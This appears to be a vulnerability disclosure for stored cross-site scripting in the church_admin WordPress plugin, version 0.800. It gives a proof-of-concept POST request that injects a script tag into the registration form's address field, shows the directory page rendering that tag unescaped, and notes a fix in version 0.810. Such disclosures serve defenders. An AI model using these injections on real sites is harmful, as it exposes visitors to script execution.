WordPress Plugin church_admin 0.800 - Persistent Cross-Site Scripting

# Exploit Title: Wordpress church_admin Stored XSS
# Date: 21-04-2015
# Exploit Author: woodspeed
# Vendor Homepage: https://wordpress.org/plugins/church-admin/
# Version: 0.800
# OSVDB ID : http://www.osvdb.org/show/osvdb/121304
# WPVULNDB ID : https://wpvulndb.com/vulnerabilities/7999
# Category: webapps

1. Description

On the registration form the address field is not validated before returning it to the user.
Visiting the Directory page, will show the confirm window.

2. Proof of Concept

POST /wordpress/index.php/2015/05/21/church_admin-registration-form/



save=yes&church_admin_register=9d18cf0420&_wp_http_referer=%2Fwordpress%2Findex.php%2F2015%2F05%2F21%2Fchurch_admin-registration-form%2F&first_name%5B%5D=test&prefix%5B%5D=&last_name%5B%5D=test&mobile%5B%5D=%2B3670&people_type_id%5B%5D=1&email%5B%5D=test%40test.test&sex1=male&phone=%2B3670&address=%3Cscript%3Econfirm%28%29%3C%2Fscript%3E&lat=51.50351129583287&lng=-0.148193359375&recaptcha_challenge_field=03AHJ_VuvBRBO1Vts65lchUe_H_c1AuISniJ4rFDcaPyecjg-HypsHSZSfTkCyZMUC6PjVQAkkuFDfpnsKn28LU8wIMxb9nF5g7XnIYLt0qGzhXcgX4LSX5ul7tPX3RSdussMajZ-_N1YQnOMJZj8b5e5LJgK68Gjf8aaILIyxKud2OF2bmzoZKa56gt1jBbzXBEGASVMMFJ59uB9FsoJIzVRyMJmaXbbrgM01jnSseeg-thefo83fUZS9uuqrBQgqAZGYMmTWdgZ4xvrzXUdv5Zc76ktq-LWKPA&recaptcha_response_field=134


GET /wordpress/index.php/2015/05/21/church_admin-directory/




	<header class="entry-header">
		<h1 class="entry-title">church_admin directory</h1>	</header><!-- .entry-header -->
	<div class="entry-content">
		<p><a href="http://localhost/wordpress/?download=addresslist&addresslist=d759d84e16&member_type_id=1,2">PDF version</a></p><form name="ca_search" action="" method="POST">
<p><label style="width:75px;float:left;">Search</label><input name="ca_search" type="text"/><input type="submit" value="Go"/><input type="hidden" name="ca_search_nonce" value="99de1bedec"/></p></form><div class="tablenav"><div class="tablenav-pages"><div class="pagination"></div>
</div></div>
<div class="church_admin_address" itemscope itemtype="http://schema.org/Person">
	<div class="church_admin_name_address" >
		<p><span itemprop="name"><strong>test test</strong></span></p>
		<p><span itemprop="address" itemscope itemtype="http://schema.org/PostalAddress"><script>confirm()</script></span></p></div><!--church_admin_name_address-->
	<div class="church_admin_phone_email">
		<p> <a class="email" href="tel:+3670">+3670</a><br/>
		<a class="email"  href="tel:+3670"><span itemprop="telephone">+3670</span></a><br/>
<a class="email" itemprop="email" href="mailto:[email protected]">[email protected]</a><br/>

		</p>

	</div><!--church_admin_phone_email--> 

3. Solution

Fixed in version 0.810.